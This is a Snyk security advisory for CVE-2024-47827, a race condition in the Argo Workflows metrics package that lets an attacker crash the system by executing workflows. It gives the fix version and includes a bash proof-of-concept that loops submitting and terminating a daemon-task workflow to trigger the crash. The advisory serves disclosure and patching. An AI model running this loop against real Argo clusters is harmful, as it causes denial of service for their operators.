Race Condition Affecting github.com/argoproj/argo-workflows/v3/workflow/metrics package, versions >=3.6.0-rc1 <3.6.0-rc2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOWORKFLOWSV3WORKFLOWMETRICS-8309368
- published30 Oct 2024
- disclosed28 Oct 2024
- creditAndrew Melnick
Introduced: 28 Oct 2024
CVE-2024-47827 (opens in a new tab)How to fix?
Upgrade github.com/argoproj/argo-workflows/v3/workflow/metrics to version 3.6.0-rc2 or higher.
Overview
Affected versions of this package are vulnerable to Race Condition via the global variable metrics_k8s_request when a second request is made before the first completes. An attacker can cause the system to crash by executing a workflow.
PoC
#!/bin/bash -xeu
while true ; do
name=$(
{ argo submit /dev/stdin <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: curl-
spec:
entrypoint: main
templates:
- name: main
dag:
tasks:
- name: no-op
template: no-op
withSequence:
count: 3
- name: no-op
daemon: true
container:
image: alpine:3.13
command: [sleep, infinity]
EOF
} | head -n1 | awk '{ print $2 }'
)
( sleep 30; argo terminate $name ) &
sleep 15
done